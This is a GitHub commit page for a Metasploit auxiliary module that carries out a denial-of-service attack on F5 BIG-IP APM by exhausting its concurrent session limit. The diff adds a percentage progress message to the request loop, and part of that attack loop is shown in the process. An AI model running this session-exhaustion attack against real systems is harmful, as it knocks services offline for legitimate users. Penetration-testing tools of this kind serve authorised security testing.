Skip to content

Commit 5588ad3

Browse files
committed
Print status message
1 parent 7e62ba8 commit 5588ad3

File tree

1 file changed

+4
-1
lines changed

1 file changed

+4
-1
lines changed

modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,10 @@ def run
7070
print_status("#{peer} - Starting DoS attack")
7171

7272
# Start attack
73-
limit.times do
73+
limit.times do |step|
74+
if step % 100 == 0
75+
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
76+
end
7477
res = send_request_cgi('method' => 'GET', 'uri' => '/')
7578
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
7679
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")

0 commit comments

Comments
 (0)